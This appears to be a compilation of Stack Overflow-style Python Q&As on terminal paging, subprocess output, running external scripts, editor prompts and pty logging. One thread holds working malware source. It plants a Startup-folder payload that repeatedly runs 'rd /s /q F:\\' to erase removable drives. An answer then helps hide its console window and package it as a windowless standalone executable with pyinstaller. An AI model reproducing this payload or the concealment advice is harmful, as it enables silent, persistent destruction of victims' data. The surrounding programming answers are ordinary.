I'm writing a simple CLI application using python.
I have a list of records that I want to print in the terminal and I would like to output them just like git log does. So as a partial list you can load more using the down arrow, from which you quit by typing "q" (basically like the output of less, but without opening and closing a file).
How does git log do that?
You can pipe directly to a pager like this answer should work.
Alternatively, you can use a temporary file:
import os
import tempfile
import subprocess
# File contents for testing, replace with whatever
file = '\n'.join(f"{i} abc 123"*15 for i in range(400))
# Save the file to the disk
with tempfile.NamedTemporaryFile('w+', delete=False) as f:
f.write(file)
# Run `less` on the saved file
subprocess.check_call(["less", f.name])
# Delete the temporary file now that we are done with it.
os.unlink(f.name)
Device you are looking for is called pager, there exists pipepager function inside pydoc, which is not documented in linked pydoc docs, but using interactive python console you might learn that
>>> help(pydoc.pipepager)
Help on function pipepager in module pydoc:
pipepager(text, cmd)
Page through text by feeding it to another program.
therefore it seems that you should use this as follows
import pydoc
pydoc.pipepager("your text here", "less")
with limitation that it does depends on availability of less command.
How does git log do that?
git log invokes less when the output will not fit on the terminal. You can check that by running git log (if the repo doesn't have a lot of commits you can just resize the terminal before running the command) and then checking the running processes like so ps aux | grep less
Related
I have two Python files (main.py and main_test.py). The file main_test.py is executed within main.py. When I do not use a log file this is what gets printed out:
Main file: 17:41:18
Executed file: 17:41:18
Executed file: 17:41:19
Executed file: 17:41:20
When I use a log file and execute main.py>log, then I get the following:
Executed file: 17:41:18
Executed file: 17:41:19
Executed file: 17:41:20
Main file: 17:41:18
Also, when I use python3 main.py | tee log to print out and log the output, it waits and prints out after finishing everything. In addition, the problem of reversing remains.
Questions
How can I fix the reversed print out?
How can I print out results simultaneously in terminal and log them in a correct order?
Python files for replication
main.py
import os
import time
import datetime
import pytz
python_file_name = 'main_test'+'.py'
time_zone = pytz.timezone('US/Eastern') # Eastern-Time-Zone
curr_time = datetime.datetime.now().replace(microsecond=0).astimezone(time_zone).time()
print(f'Main file: {curr_time}')
cwd = os.path.join(os.getcwd(), python_file_name)
os.system(f'python3 {cwd}')
main_test.py
import pytz
import datetime
import time
time_zone = pytz.timezone('US/Eastern') # Eastern-Time-Zone
for i in range(3):
curr_time = datetime.datetime.now().replace(microsecond=0).astimezone(time_zone).time()
print(f'Executed file: {curr_time}')
time.sleep(1)
When you run a script like this:
python main.py>log
The shell redirects output from the script to a file called log. However, if the script launches other scripts in their own subshell (which is what os.system() does), the output of that does not get captured.
What is surprising about your example is that you'd see anything at all when redirecting, since the output should have been redirected and no longer echo - so perhaps there's something you're leaving out here.
Also, tee waits for EOF on standard in, or for some error to occur, so the behaviour you're seeing there makes sense. This is intended behaviour.
Why bother with shells at all though? Why not write a few functions to call, and import the other Python module to call its functions? Or, if you need things to run in parallel (which they didn't in your example), look at multiprocessing.
In direct response to your questions:
"How can I fix the reversed print out?"
Don't use redirection, and write to file directly from the script, or ensure you use the same redirection when calling other scripts from the first (that will get messy), or capture the output from the subprocesses in the subshell and pipe it to the standard out of your main script.
"How can I print out results simultaneously in terminal and log them in a correct order?"
You should probably just do it in the script, otherwise this is not a really a Python question and you should try SuperUser or similar sites to see if there's some way to have tee or similar tools write through live.
In general though, unless you have really strong reasons to have the other functionality running in other shells, you should look at solving your problems in the Python script. And if you can't, use you can use something like Popen or derivatives to capture the subscript's output and do what you need instead of relying on tools that may or may not be available on the host OS running your script.
For the life of me i can't figure this one out.
I have 2 applications build in python, so 2 projects in different folders, is there a command to say in the first application like run file2 from documents/project2/test2.py ?
i tried something like os.system('') and exec() but that only seems to work if its in the same folder. How can i give a command a path like documents/project2 and then for example:
exec(documents/project2 python test2.py) ?
short version:
Is there a command that runs python test2.py while that test2 is in a completely different file/project?
thnx for all feedback!
There's a number of approaches to take.
1 - Import the .py
If the path to the other Python script can be made relative to your project, you can simply import the .py. This will cause all the code at the 'root' level of the script to be executed and makes functions as well as type and variable definitions available to the script importing it.
Of course, this only works if you control how and where everything is installed. It's the most preferable solution, but only works in limited situations.
import ..other_package.myscript
2 - Evaluate the code
You can load the contents of the Python file like any other text file and execute the contents. This is considered more of a security risk, but given the interpreted nature of Python in normal use not that much worse than an import under normal circumstances.
Here's how:
with open('/path/to/myscript.py', 'r') as f:
exec(f.read())
Note that, if you need to pass values to code inside the script, or out of it, you probably want to use files in this case.
I'd consider this the least preferable solution, due to it being a bit inflexible and not very secure, but it's definitely very easy to set up.
3 - Call it like any other external program
From a Python script, you can call any other executable, that includes Python itself with another script.
Here's how:
from subprocess import run
run('python path/to/myscript.py')
This is generally the preferable way to go about it. You can use the command line to interface with the script, and capture the output.
You can also pipe in text with stdin= or capture the output from the script with stdout=, using subprocess.Popen directly.
For example, take this script, called quote.py
import sys
text = sys.stdin.read()
print(f'In the words of the poet:\n"{text}"')
This takes any text from standard in and prints them with some extra text, to standard out like any Python script. You could call it like this:
dir | python quote.py
To use it from another Python script:
from subprocess import Popen, PIPE
s_in = b'something to say\nright here\non three lines'
p = Popen(['python', 'quote.py'], stdin=PIPE, stdout=PIPE)
s_out, _ = p.communicate(s_in)
print('Here is what the script produced:\n\n', s_out.decode())
Try this:
exec(open("FilePath").read())
It should work if you got the file path correct.
Mac example:
exec(open("/Users/saudalfaris/Desktop/Test.py").read())
Windows example:
exec(open("C:\Projects\Python\Test.py").read())
I am making a small python script that should prompt the user for input. I like how git commit prompts the user with a vim prompt, and then uses this prompt to get the commit message.
Is it possible to implement this behavior in python?
I cannot use input(or stdin in general)
Very simple: put initial text into a temporary file, start an editor (determined by the well-known environment variables with fallback to vi), wait the editor to finish and get the content of the temp file.
See an example at https://chase-seibert.github.io/blog/2012/10/31/python-fork-exec-vim-raw-input.html
import tempfile
import subprocess
import os
def raw_input_editor(default=None, editor=None):
''' like the built-in raw_input(), except that it uses a visual
text editor for ease of editing. Unline raw_input() it can also
take a default value. '''
with tempfile.NamedTemporaryFile(mode='r+') as tmpfile:
if default:
tmpfile.write(default)
tmpfile.flush()
subprocess.check_call([editor or get_editor(), tmpfile.name])
tmpfile.seek(0)
return tmpfile.read().strip()
def get_editor():
return (os.environ.get('VISUAL')
or os.environ.get('EDITOR')
or 'vi')
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.
I'm working on a wrapper script for invocations to the Ninja c/c++ buildsystem, the script is in python and one thing it should do is to log the output from Ninja and the underlying compiler but without supressing standard output.
The part that gives me trouble is that Ninja seems to detect that it is writing to a terminal or not, so simply catching the output and sending it to standard output ends up changing it (most notably, Ninja does not fill the screen with lists of warning and errorless buildfiles but removes the line of the last successfully built translation unit as a new one comes in). Is there any way to let Ninja write to the terminal, while still capturing its output? The writing to the terminal should happen as the Ninja subprocess runs, but the capturing of said output may wait until the subprocess has completed.
pty.spawn() allows you to log output to a file while hoodwinking Ninja subprocess into thinking that it works with a terminal (tty):
import os
import pty
logfile = open('logfile', 'wb')
def read(fd):
data = os.read(fd, 1024)
logfile.write(data)
return data
pty.spawn("ninja", read)